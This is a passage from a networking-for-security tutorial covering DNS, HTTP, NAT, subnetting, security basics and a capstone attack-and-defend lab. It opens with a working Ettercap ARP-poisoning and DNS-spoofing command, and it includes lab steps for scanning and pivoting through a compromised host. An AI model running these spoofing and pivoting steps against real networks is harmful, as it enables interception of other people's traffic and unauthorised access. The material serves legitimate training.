# Create a DNS spoofing file
cat > dns.spoof << EOF
google.com A 192.168.1.100
*.google.com A 192.168.1.100
EOF
# Start Ettercap with DNS spoofing
sudo ettercap -T -M arp:remote -P dns_spoof // // -F dns.spoof
4. Python DNS query:
import dns.resolver
def dns_query(domain, record_type='A'):
"""Query DNS records"""
try:
answers = dns.resolver.resolve(domain, record_type)
print(f"{record_type} records for {domain}:")
for answer in answers:
print(f" {answer}")
except Exception as e:
print(f"Error: {e}")
# Example usage
dns_query('google.com', 'A')
dns_query('google.com', 'MX')
dns_query('google.com', 'NS')
Application Protocols
| Protocol | Port | Purpose | Security Notes |
|---|---|---|---|
| HTTP | 80 | Web (plaintext) | Trivial to sniff; use HTTPS. |
| HTTPS | 443 | Web (encrypted) | Still vulnerable to SSL stripping if not HSTS. |
| FTP | 20/21 | File transfer (plaintext) | Credentials sent in clear; SFTP/FTPS preferred. |
| SFTP | 22 | Secure file transfer | Over SSH, encrypted. |
| SMTP | 25 | Email sending | Often misconfigured, open relays lead to spam. |
| POP3 | 110 | Email retrieval (plain) | Use POP3S (995). |
| IMAP | 143 | Email retrieval (plain) | Use IMAPS (993). |
| DNS | 53 | Domain name resolution | Can be poisoned (DNS spoofing); DNSSEC mitigates. |
| DHCP | 67/68 | Dynamic IP assignment | Rogue DHCP servers can give malicious config. |
| SNMP | 161/162 | Network management | Default community strings are a huge risk. |
| NTP | 123 | Time synchronisation | Used in NTP amplification DDoS. |
HTTP/HTTPS
HTTP (Hypertext Transfer Protocol) is the foundation of data communication on the web. It follows a request-response model where a client sends a request to a server and the server sends back a response.
HTTP Request Structure
A complete HTTP request consists of:
- Request Line: Method, path, HTTP version
- Headers: Additional information (User-Agent, Cookie, Content-Type)
- Body: Data sent to the server (optional)
HTTP Methods
| Method | Purpose | Security Implications |
|---|---|---|
| GET | Retrieve data | Data visible in URL, cached |
| POST | Submit data | Data in body, not cached |
| PUT | Update/replace data | Can be abused if not authenticated |
| DELETE | Delete data | Can cause data loss |
| HEAD | Get headers only | Used for reconnaissance |
| OPTIONS | Get allowed methods | Information disclosure |
| PATCH | Partial update | Similar security to PUT |
| TRACE | Echo request back | Vulnerability to cross-site tracing |
HTTP Headers
| Header | Purpose | Security Relevance |
|---|---|---|
| Host | Target hostname | Helps identify virtual hosts |
| User-Agent | Client software | Can reveal browser vulnerabilities |
| Cookie | Session identifier | Session hijacking if stolen |
| Referer | Previous page | Information leakage |
| Authorization | Authentication credentials | Target for intercepting |
| X-Forwarded-For | Original client IP | Spoofing risk |
HTTP Status Codes
| Range | Category | Example |
|---|---|---|
| 1xx | Information | 100 Continue |
| 2xx | Success | 200 OK, 201 Created |
| 3xx | Redirection | 301 Moved Permanently, 302 Found |
| 4xx | Client Error | 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found |
| 5xx | Server Error | 500 Internal Server Error, 502 Bad Gateway |
HTTPS (HTTP Secure)
- Encrypts all HTTP traffic using TLS/SSL
- Protects against eavesdropping, tampering, and man-in-the-middle attacks
- Requires a digital certificate from a trusted Certificate Authority
Practical Demo – HTTP/HTTPS
1. Python HTTP request:
import requests
def http_demo():
"""Demonstrate HTTP requests"""
# Simple GET request
print("=== HTTP GET Request ===")
response = requests.get("http://example.com")
print(f"Status: {response.status_code}")
print(f"Status Message: {response.reason}")
print(f"Content Type: {response.headers.get('Content-Type')}")
print(f"Content Length: {len(response.content)} bytes")
print("\n=== HTTP Response Headers ===")
for header, value in response.headers.items():
print(f" {header}: {value}")
print("\n=== HTTP Methods ===")
methods = {
"GET": "Retrieve data from the server",
"POST": "Submit data to the server",
"PUT": "Update/replace data on the server",
"DELETE": "Delete data from the server",
"HEAD": "Get headers only (no body)",
"OPTIONS": "Get allowed methods"
}
for method, description in methods.items():
print(f" {method}: {description}")
print("\n=== HTTP Status Code Ranges ===")
status_ranges = {
"1xx": "Informational - Request received, continuing",
"2xx": "Success - Request successfully processed",
"3xx": "Redirection - Further action needed",
"4xx": "Client Error - Request contains bad syntax",
"5xx": "Server Error - Server failed to fulfill valid request"
}
for code, description in status_ranges.items():
print(f" {code}: {description}")
http_demo()
2. Intercept HTTP traffic with Burp Suite:
# Setup steps:
1. Configure browser to use Burp proxy (127.0.0.1:8080)
2. Turn on interception in Burp
3. Browse to any website
4. View the HTTP request in Burp
5. Forward to see the response
3. Manually craft HTTP request with netcat:
# Connect to web server on port 80
nc example.com 80
# Send an HTTP request
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Connection: close
# Press Enter twice to send the request
WAN Protocols
PPP (Point‑to‑Point Protocol)
PPP is used for dial‑up, DSL, and sometimes VPN connections. It provides encapsulation, authentication, and error detection for serial connections.
Security Implications: PPP can be configured with weak authentication (PAP) which transmits passwords in clear text. Use CHAP or EAP for secure authentication.
HDLC (High‑Level Data Link Control)
HDLC is the Cisco default protocol on serial links. It provides error detection and flow control.
Security Implications: HDLC has no authentication built in. Attackers can impersonate routers on serial links if they gain access.
MPLS (Multiprotocol Label Switching)
MPLS is used by ISPs to route traffic efficiently. MPLS VPNs are common in enterprise WANs.
Security Implications: MPLS VPNs isolate customer traffic. Leaks between VPNs are a critical risk. Misconfigured MPLS networks can allow traffic to cross between customer networks.
NAT (Network Address Translation)
NAT allows multiple devices on a private network to share a single public IP.
Types of NAT
- Static NAT: One‑to‑one mapping (rare). Each private IP maps to a specific public IP.
- Dynamic NAT: Pool of public IPs mapped dynamically. When a device needs internet access, it gets a random public IP from the pool.
- PAT (Port Address Translation): Also called NAT Overload; uses port numbers to distinguish connections. This is what home routers use.
Hacker Insight: NAT is not a security feature (contrary to common belief). It provides a form of obscurity, but an attacker who compromises a device inside can still reach internal services via the same NAT mapping. NAT does not prevent:
- Malware beaconing out to command-and-control
- Internal network scanning
- Lateral movement attacks
Practical Demo – NAT
1. View NAT tables on Linux:
# View NAT rules
sudo iptables -t nat -L -v -n
# View NAT table for specific chain
sudo iptables -t nat -L PREROUTING -v -n
sudo iptables -t nat -L POSTROUTING -v -n
2. Configure NAT on Linux:
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Set up masquerading (source NAT - PAT)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Port forwarding (destination NAT)
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80
3. View NAT sessions on Cisco router:
show ip nat translations
show ip nat statistics
4. Python to understand NAT:
class NATRouter:
def __init__(self, public_ip, private_network):
self.public_ip = public_ip
self.private_network = private_network
self.nat_table = {} # (src_ip, src_port) -> (public_port, dest_ip, dest_port)
self.current_port = 10000
def nat_outgoing(self, src_ip, src_port, dest_ip, dest_port):
"""Perform NAT on outgoing traffic (source NAT)"""
# Allocate a unique public port
public_port = self.current_port
self.current_port += 1
# Store the mapping
self.nat_table[public_port] = (src_ip, src_port, dest_ip, dest_port)
print(f"NAT: {src_ip}:{src_port} -> {self.public_ip}:{public_port}")
return self.public_ip, public_port
def nat_incoming(self, dest_port):
"""Reverse NAT on incoming traffic"""
if dest_port in self.nat_table:
src_ip, src_port, dest_ip, _ = self.nat_table[dest_port]
print(f"Reverse NAT: {self.public_ip}:{dest_port} -> {src_ip}:{src_port}")
return src_ip, src_port
else:
print(f"No NAT mapping for port {dest_port}")
return None, None
def show_nat_table(self):
"""Display the NAT table"""
print("NAT Table:")
print("-" * 50)
print("Public Port\tInternal IP:Port\tDestination")
for public_port, (src_ip, src_port, dest_ip, dest_port) in self.nat_table.items():
print(f"{public_port}\t\t{src_ip}:{src_port}\t\t{dest_ip}:{dest_port}")
# Simulate NAT
router = NATRouter("203.0.113.1", "192.168.1.0/24")
# Outgoing connection from internal PC
router.nat_outgoing("192.168.1.100", 12345, "8.8.8.8", 80)
# Incoming response
router.nat_incoming(10000)
# Show NAT table
router.show_nat_table()
5. IP Addressing & Subnetting (Core)
IP Addressing, Subnetting, and CIDR
An IP address is a 32-bit number that uniquely identifies a device on a network. When written in the dotted-decimal notation familiar from everyday use, each of the four groups represents 8 bits, called an octet. Each octet can range from 0 to 255.
IP addresses are divided into two parts:
- Network portion: identifies which network the device belongs to
- Host portion: identifies the specific device within that network
The subnet mask determines where the dividing line between these two portions falls.
IPv4 vs IPv6
IPv4
IPv4 is the fourth version of the Internet Protocol and is still the most widely used. It uses 32-bit addresses written in dotted-decimal notation — four groups of numbers from 0 to 255, separated by dots. An example is 192.168.1.1. The total number of possible IPv4 addresses is approximately 4.3 billion. In the early days of the internet, this seemed more than sufficient. As the number of internet-connected devices surpassed that figure, IPv4 address exhaustion became a critical problem. Network Address Translation, discussed earlier, is one mechanism developed to extend the usable life of IPv4.
IPv4 Example: 192.168.1.1
Security Implication: Limited addresses led to NAT, which is often mistaken for security. Attackers exploit this misconception.
IPv6
IPv6 is the sixth version of the Internet Protocol, designed specifically to address the exhaustion of IPv4 addresses. It uses 128-bit addresses written in eight groups of four hexadecimal digits, separated by colons. An example is 2001:0db8:85a3:0000:0000:8a2e:0370:7334. The number of possible IPv6 addresses is so large — approximately 340 undecillion — that address exhaustion is not a concern for the foreseeable future. IPv6 also includes improvements in routing efficiency, built-in support for IPsec encryption, and simplified header structure. Adoption has been slow but is accelerating.
IPv6 Example: 2001:0db8:85a3::8a2e:0370:7334
Security Implication: IPv6 introduces both new capabilities and new attack surfaces. Many organisations have deployed IPv6 alongside IPv4 in a dual-stack configuration without fully securing the IPv6 side, because their security teams were less familiar with it. Attackers have exploited this. Security tools must be configured to scan and monitor both protocols.
IPv4 Address Classes (Merged Table)
| Class | Leading Bits | Start IP | End IP | Network Bits | Host Bits | Private Range | Typical Use |
|---|---|---|---|---|---|---|---|
| A | 0 | 1.0.0.0 | 126.255.255.255 | 8 | 24 | 10.0.0.0/8 | Very large networks |
| B | 10 | 128.0.0.0 | 191.255.255.255 | 16 | 16 | 172.16.0.0/12 | Medium networks |
| C | 110 | 192.0.0.0 | 223.255.255.255 | 24 | 8 | 192.168.0.0/16 | Small networks |
| D | 1110 | 224.0.0.0 | 239.255.255.255 | – | – | N/A | Multicast |
| E | 1111 | 240.0.0.0 | 255.255.255.255 | – | – | N/A | Experimental / reserved |
Special IP Addresses
- Private IPs (RFC 1918): Not routable on the internet, used for internal networks
- Loopback: 127.0.0.1 refers to the local machine
- APIPA: Automatic Private IP Addressing (169.254.0.0/16) when DHCP fails
Subnet Mask & CIDR
The subnet mask defines which bits belong to the network and which to the host.
Example: 255.255.255.0 means the first 24 bits are network, the last 8 are host.
CIDR notation: /24 is shorthand for 255.255.255.0.
| CIDR | Subnet Mask | Block Size | Hosts (usable) |
|---|---|---|---|
| /8 | 255.0.0.0 | 16.7M | 16,777,214 |
| /16 | 255.255.0.0 | 65,536 | 65,534 |
| /24 | 255.255.255.0 | 256 | 254 |
| /30 | 255.255.255.252 | 4 | 2 (point‑to‑point links) |
Binary Calculation
To calculate the network address, perform a bitwise AND between the IP and the subnet mask. The broadcast address is all host bits set to 1.
Subnetting
Subnetting is the process of borrowing bits from the host portion to create smaller subnetworks.
- Borrow n bits → you get 2ⁿ subnets.
- Each subnet has 2^(h) – 2 usable hosts (subtract the network and broadcast addresses).
Example 1: Simple Subnetting (3 subnets with 50+ hosts)
Problem: You have 192.168.1.0/24 and need 3 subnets with at least 50 hosts each.
- Need 3 subnets → borrow 2 bits (2² = 4 subnets, enough).
- New mask:
/26(255.255.255.192). - Each subnet has 64 total addresses, 62 usable hosts (meets the 50‑host requirement).
Resulting subnets:
192.168.1.0/26192.168.1.64/26192.168.1.128/26192.168.1.192/26
(Only three are used; the fourth remains spare.)
Example 2: Real‑World CCNA – Large‑Scale Subnetting
Problem: A company has the 10.0.0.0/8 network. They need 500 subnets with at least 200 hosts each.
Step 1 – Determine how many bits to borrow for subnets:
- 500 subnets → need 9 bits because 2⁹ = 512 (≥500).
- So we borrow 9 bits from the host portion of the
/8network.
Step 2 – Determine the new subnet mask:
- Original mask:
/8(8 network bits). - Borrow 9 bits → new mask = 8 + 9 = /17 (255.255.128.0).
Step 3 – Check the host capacity per subnet:
- Bits left for hosts: 32 – 17 = 15 bits.
- Total addresses per subnet = 2¹⁵ = 32,768.
- Usable hosts = 32,768 – 2 = 32,766, which is far more than the required 200 (perfect).
Result: Use a /17 mask. The first few subnets are:
10.0.0.0/1710.0.128.0/1710.1.0.0/1710.1.128.0/17- … and so on, up to 512 subnets.
This example demonstrates how to allocate address space efficiently for a large organisation while satisfying both subnet count and host requirements.
VLSM (Variable Length Subnet Mask)
VLSM allows using different subnet masks within the same network to avoid wasting addresses. You allocate the largest subnet first.
Example: VLSM
Problem: Given 192.168.1.0/24, create subnets with:
- 100 hosts (needs /25, 126 usable)
- 60 hosts (needs /26, 62 usable)
- 20 hosts (needs /27, 30 usable)
Allocate:
- /25 → 192.168.1.0/25
- /26 → 192.168.1.128/26
- /27 → 192.168.1.192/27
- Remaining: 192.168.1.224/27 can be used for future
Supernetting (Route Aggregation)
Supernetting combines multiple contiguous networks into a single larger network to reduce routing table size. It is the opposite of subnetting.
Example: Supernetting
Problem: You have:
- 192.168.0.0/24
- 192.168.1.0/24
- 192.168.2.0/24
- 192.168.3.0/24
These can be summarised as 192.168.0.0/22 (since the first 22 bits are the same).
IPv6 (128-bit)
IPv6 was introduced to solve IPv4 exhaustion. Addresses are written in hexadecimal: 2001:0db8:85a3:0000:0000:8a2e:0370:7334.
Key IPv6 Concepts:
- Leading zeros can be omitted
- :: represents a contiguous block of zeros (only once)
- Global Unicast: Routable on the internet (similar to public IPv4)
- Link‑Local: fe80::/10, used for local communication (like APIPA)
- No broadcast; uses multicast and anycast
Hacker Note: IPv6 is often ignored in security audits. Misconfigured IPv6 can be a backdoor – many firewalls don’t inspect IPv6 traffic.
Practical Demo – IP Addressing and Subnetting
1. View IP configuration:
# Linux
ip addr show
ifconfig
# Windows
ipconfig /all
2. Python subnet calculation:
import ipaddress
def subnetting_demo():
"""Demonstrate IP addressing and subnetting concepts"""
print("=== IP Addressing & Subnetting ===\n")
# Example IP addresses
examples = [
"192.168.1.0/24",
"10.0.0.0/8",
"172.16.0.0/12",
"203.0.113.0/24",
"2001:db8::/32",
"10.0.0.0/17" # The real-world CCNA example
]
for network_str in examples:
try:
network = ipaddress.ip_network(network_str, strict=False)
print(f"Network: {network_str}")
print(f" Network Address: {network.network_address}")
print(f" Broadcast Address: {network.broadcast_address}")
print(f" Netmask: {network.netmask}")
print(f" Total Addresses: {network.num_addresses}")
print(f" Usable Hosts: {network.num_addresses - 2}")
print(f" Is Private: {network.is_private}")
print()
except ValueError as e:
print(f"Error parsing {network_str}: {e}")
print("=== Private IP Ranges ===")
private_ranges = [
("10.0.0.0/8", "16,777,216"),
("172.16.0.0/12", "1,048,576"),
("192.168.0.0/16", "65,536")
]
for range_str, count in private_ranges:
print(f" {range_str}: {count} addresses")
subnetting_demo()
3. Manual subnet calculation:
# Use ipcalc for subnet calculations
ipcalc 192.168.1.0/24
ipcalc 192.168.1.0/26
# With specific host count
ipcalc -n 100 192.168.1.0/24
4. Binary conversion exercise:
def ip_to_binary(ip):
"""Convert IP address to binary representation"""
octets = ip.split('.')
binary = []
for octet in octets:
b = bin(int(octet))[2:].zfill(8)
binary.append(b)
return '.'.join(binary)
def binary_to_ip(binary):
"""Convert binary representation to IP address"""
octets = binary.split('.')
ip = []
for octet in octets:
ip.append(str(int(octet, 2)))
return '.'.join(ip)
# Example
ip = "192.168.1.1"
print(f"IP: {ip}")
print(f"Binary: {ip_to_binary(ip)}")
binary = "11000000.10101000.00000001.00000001"
print(f"Binary: {binary}")
print(f"IP: {binary_to_ip(binary)}")
6. Security
CIA Triad
The foundation of information security:
- Confidentiality – only authorised parties can access data (encryption). Attackers try to breach confidentiality through eavesdropping, password cracking, and data theft.
- Integrity – data is not altered without authorisation (hashing, digital signatures). Attackers try to compromise integrity through data modification, injection attacks, and man-in-the-middle attacks.
- Availability – systems are accessible when needed (redundancy, DDoS protection). Attackers try to compromise availability through denial of service attacks, ransomware, and resource exhaustion.
Network Attacks (Common)
| Attack | Description | Defense |
|---|---|---|
| Phishing | Trick user into revealing credentials | User awareness, email filtering, 2FA |
| DDoS | Overwhelm a service with traffic | DDoS protection, rate limiting, redundancy |
| MITM | Intercept and possibly alter communication | Encryption, certificate validation |
| SQL Injection | Inject SQL code into a web form to manipulate database | Input validation, parameterized queries |
| XSS | Inject JavaScript into a web page to steal cookies | Input sanitization, CSP headers |
| Malware | Software designed to harm or gain unauthorised access | Antivirus, application whitelisting |
Security Mechanisms
- Encryption – protects confidentiality (e.g., HTTPS, IPsec, VPN). Encrypts data in transit and at rest.
- VPN – creates a secure tunnel over untrusted networks. Provides confidentiality, integrity, and authentication.
- Firewall Rules – filter traffic based on IP, port, protocol. First line of defense between networks.
- ACL (Access Control List) – applied on routers/switches to permit/deny traffic. Provides network segmentation.
- IDS/IPS – detect and/or prevent intrusions. Monitors network traffic for suspicious activity.
Network Hardening Best Practices
- Disable unused services and ports
- Change default credentials
- Use strong passwords and multi‑factor authentication
- Segment networks with VLANs
- Implement 802.1X for port security
- Regularly patch firmware and software
- Monitor logs and set up alerts
- Use encrypted protocols (SSH, HTTPS, SFTP)
- Implement network access control
- Conduct regular security audits
7. Troubleshooting & Commands
These are the commands you will use daily for both networking and security tasks.
| Command | Purpose | Security Use |
|---|---|---|
| ipconfig (Windows) / ifconfig (Linux) | View IP configuration | Find your own IP, default gateway |
| ping | Test reachability | Check if a host is alive |
| tracert (Windows) / traceroute (Linux) | Trace route to destination | Map network path, identify hops |
| nslookup | Query DNS | Resolve domains, find IPs |
| netstat | Display active connections | See if any suspicious connections are open |
| arp -a | View ARP cache | Detect ARP spoofing (duplicate MACs) |
| show ip route (router) | View routing table | Check for incorrect routes |
| show mac-address-table (switch) | View CAM table | Identify devices on the switch |
Practical Example: In a penetration test, you might run arp -a on a compromised host to find other devices on the network, then use ping to verify they are alive. This helps you map the network and plan lateral movement.
8. Advanced & Enterprise Level
QoS (Quality of Service)
QoS prioritises certain traffic (e.g., VoIP over web browsing). Attackers may try to flood low‑priority queues to cause service degradation.
Fault Tolerance & Redundancy
HSRP (Hot Standby Router Protocol) / VRRP (Virtual Router Redundancy Protocol) – provide default gateway redundancy. An attacker could try to become the active router.
STP – prevents loops, but can be manipulated (e.g., root bridge takeover).
Load Balancing
Distributes traffic across multiple servers. An attacker might target the load balancer itself or use uneven load to cause outages.
Cloud Networking
Virtual networks (VPCs), SD‑WAN. Misconfigured cloud security groups are a common entry point.
SDN (Software Defined Networking)
Decouples control plane from data plane. Centralised controllers become a high‑value target.
Network Automation
Tools like Ansible, Python scripts to manage networks. Automation scripts can be exploited if not secured.
Virtualization
Virtual switches, routers, firewalls. Hypervisors and virtual networks need the same security as physical ones.
MPLS (Multiprotocol Label Switching)
Used in WANs. MPLS VPNs isolate customer traffic. Leaks between VPNs are a critical risk.
Data Center Networking
Spine‑leaf architecture, VXLAN, etc. Security often relies on segmentation and micro‑segmentation.
Enterprise Network Design
Modern design follows Cisco’s PPDIOO lifecycle: Prepare, Plan, Design, Implement, Operate, Optimise. Security must be built in at every stage.
Certification Path
| Level | Certification | What It Covers |
|---|---|---|
| Beginner | CompTIA Network+ | Fundamentals, troubleshooting, basic security |
| Intermediate | Cisco CCNA | Routing, switching, IPv4/IPv6, wireless, security |
| Advanced | Cisco CCNP Enterprise | Advanced routing, switching, SD‑WAN, automation |
| Expert | Cisco CCIE | Expert‑level lab exam, design and implementation |
Final Professional Learning Order
- Fundamentals – bits, signals, media, topologies
- OSI & TCP/IP – understand the layers and encapsulation
- IP Addressing – binary, subnet masks, CIDR
- Subnetting + VLSM – practice until it’s second nature
- Supernetting – summarisation for efficiency
- Routing & Switching – static and dynamic routing, VLANs
- WAN – MPLS, VPNs, carrier technologies
- Security – firewalls, IDS/IPS, hardening
- CCNA Preparation – official cert guide, labs
- CCNP Advanced – deep dive into enterprise networks
Capstone Project: Design, Configure, and Attack a Small Network
Objective
Build a realistic office network in Cisco Packet Tracer (or GNS3) with three VLANs, inter‑VLAN routing, DHCP, and a firewall. Then simulate an internal attacker who pivots from a compromised workstation to the server.
Setup
- 1 router (gateway)
- 1 Layer 3 switch for inter‑VLAN routing
- 2 Layer 2 switches
- 3 VLANs:
- VLAN 10 – HR (10.10.10.0/24)
- VLAN 20 – Sales (10.10.20.0/24)
- VLAN 30 – Servers (10.10.30.0/24)
- DHCP server on the router to assign IPs to HR and Sales
- A file server in VLAN 30 (10.10.30.10)
- A firewall (ACL) that permits only HTTP/HTTPS from VLAN 20 to server, and only SSH from VLAN 10
Attack Simulation
- Assume you have a compromised workstation in VLAN 10
- Use
nmapto discover other subnets (through the gateway) - Find the server in VLAN 30
- Attempt to exploit a vulnerability (e.g., weak SSH password) to gain access
- Once on the server, use it as a pivot to reach other internal networks
Deliverable
A written report describing:
- Your design (network diagram, IP scheme, VLANs)
- Configuration commands (routers, switches, DHCP, ACLs)
- The attack steps
- How you would defend against it
This project ties together everything you have learned: IP addressing, subnetting, VLANs, routing, ACLs, and basic penetration testing.
Resources
- Root Name Servers: https://www.iana.org/domains/root/servers
- What’s My IP: https://whatsmyip.com
- TCP vs UDP: https://www.learnabhi.com/tcp-vs-udp/
- DNS Explained: https://www.learnabhi.com/what-is-dns-server-how-dns-works/
- DHCP Explained: https://www.learnabhi.com/dhcp-protocol-how-dhcp-works/
- NAT Explained: https://www.learnabhi.com/nat-network-address/
- OSI Model: https://www.learnabhi.com/osi-model-computer-network/
- Cisco Packet Tracer: https://www.netacad.com/
- Neso Academy: https://nesoacademy.org/cs/06-computer-networks/ppts/01-introduction-to-computer-networks
- Certbros YouTube: https://www.youtube.com/c/Certbros/playlists
- Guru99: https://www.guru99.com/
- IPv4 Header: https://www.gatevidyalay.com/ipv4-ipv4-header-ipv4-header-format/
- Check Port in Use: https://www.cyberciti.biz/faq/unix-linux-check-if-port-is-in-use-command/
- IP Classes: https://www.meridianoutpost.com/resources/articles/IP-classes.php
Conclusion
Networking is the bedrock of cybersecurity. Whether you are defending an enterprise or attacking one, you must understand how data moves, how devices communicate, and where the weak points are.
This chapter gave you the full picture – from a simple cable to complex routing protocols, always with an eye on security. Now go build that lab, practice those commands, and keep learning. The network is yours.


